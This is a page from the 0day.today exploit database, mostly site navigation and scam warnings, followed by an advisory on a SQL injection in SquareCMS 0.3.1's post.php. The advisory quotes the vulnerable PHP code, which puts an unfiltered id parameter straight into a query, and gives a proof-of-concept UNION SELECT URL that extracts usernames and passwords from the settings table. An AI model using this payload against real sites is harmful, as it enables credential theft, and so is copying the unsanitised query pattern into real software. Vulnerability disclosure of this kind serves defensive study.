0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SquareCMS 0.3.1 (post.php) SQL Injection Vulnerability
SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability found by cOndemned vendor: http://spoolio.co.cc/ download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html prior versions may also be affected source of post.php lines 15 - 31: $token = $_GET['id']; // [1] if (isset($token)) { if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1")) // [2] { if ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { header("Location: ".get_friendly_url($row['url'])); // [3] exit(); } } } header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404 // [4] header("Content-Type: text/plain"); print("404 Not Found\n"); description: User input from variable token [1] is being used in the MySQL query [2] without any filtration, so that there is possibility to run arbitarary sql commands. If query is correct (returns proper result) user will be redirected to an url containing response [3]. In other case cms will force throwing 404 server response [4] .... proof of concept: http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings-- # 0day.today [2024-11-16] #